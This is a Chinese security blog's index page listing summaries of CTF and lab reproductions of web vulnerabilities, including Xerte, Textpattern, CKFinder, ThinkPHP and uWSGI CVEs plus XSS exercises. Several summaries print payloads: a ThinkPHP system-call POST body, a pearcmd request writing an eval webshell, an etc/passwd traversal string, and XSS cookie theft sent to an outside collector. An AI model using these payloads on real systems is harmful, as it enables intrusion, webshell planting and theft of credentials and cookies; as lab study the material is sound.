大雪深埋

2026年2月15日

CVE-2021-44665

摘要： CVE-2021-44665复现使用网上的exp 点击查看代码 # Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated) # Date: 05/03/2021 # Exploit Author: Rik Lutz # V 阅读全文

posted @ 2026-02-15 04:37 大雪深埋阅读(25) 评论(0) 推荐(0)

CVE-2023-50038

摘要： CVE-2023-50038复现访问后台目录/textpattern/index.php 弱密码admin/123456登录上传一句话木马获得文件地址蚁剑连接查看flag 阅读全文

posted @ 2026-02-15 02:13 大雪深埋阅读(27) 评论(0) 推荐(0)

CVE-2023-27178

摘要： CVE-2023-27178复现访问该目录_admin/ckeditor/plugins/ckfinder/index.php# 创建文件格式为phar的一句话木马文件上传一句话木马文件蚁剑连接获得flag 阅读全文

posted @ 2026-02-15 02:03 大雪深埋阅读(35) 评论(0) 推荐(0)

2026年2月10日

xss-game

摘要： Level 1: Hello, world of XSS 使用<img src=x onerror=alert(1)> Level 2: Persistence is key 使用<img src=x onerror=alert(1)> Level 3: That sinking feeling.. 阅读全文

posted @ 2026-02-10 21:01 大雪深埋阅读(12) 评论(0) 推荐(0)

2026年2月3日

CVE-2018-20062

摘要： CVE-2018-20062复现打开网站判断是否存在漏洞，访问/index.php?s=captcha页面，会出现报错利用post请求，执行命令 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls / 阅读全文

posted @ 2026-02-03 19:51 大雪深埋阅读(26) 评论(0) 推荐(0)

2026年2月1日

Level 11 → Level 12

摘要：使用上一关密码ssh连接 ssh -p 2220 bandit11@bandit.labs.overthewire.org ls查看到一个data.txt文件，cat一下题目提示rot13,rot13就是将每个字母替换为字母表中向后13位的字母 echo "Gur cnffjbeq vf 7k16 阅读全文

posted @ 2026-02-01 13:50 大雪深埋阅读(14) 评论(0) 推荐(0)

2026年1月28日

uWSGI 目录穿越（CVE-2018-7490）

摘要：可以使用..%2f..%2f..%2f..%2f..%2fetc/passwd来读取敏感信息 flag一进去在phpinfo页面能直接看到阅读全文

posted @ 2026-01-28 20:41 大雪深埋阅读(10) 评论(0) 推荐(0)

thinkphp3.2.x 代码执行

摘要：首先使用bp抓包，返回包提示发生错误，证明被记入了日志。该日志默认路径在：（日志文件名与记录的时间有关） \Application\Runtime\Logs\Common\26_01_28.log 完整payload /index.php?m=Home&c=Index&a=index&value 阅读全文

posted @ 2026-01-28 10:22 大雪深埋阅读(8) 评论(0) 推荐(0)

2026年1月22日

web入门311-320

摘要： web311 web312 web313 web314 web315 web316 反射型xss 方法一：利用在线平台https://xssaq.com/dashboard 方法二：自己搭服务器，用来接受cookie <?php $cookie = $_GET['cookie']; $time = 阅读全文

posted @ 2026-01-22 15:03 大雪深埋阅读(65) 评论(0) 推荐(0)

2026年1月21日

thinkphp lang 命令执行

摘要：使用网上的exp /public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php 要阅读全文

posted @ 2026-01-21 16:53 大雪深埋阅读(34) 评论(0) 推荐(0)

公告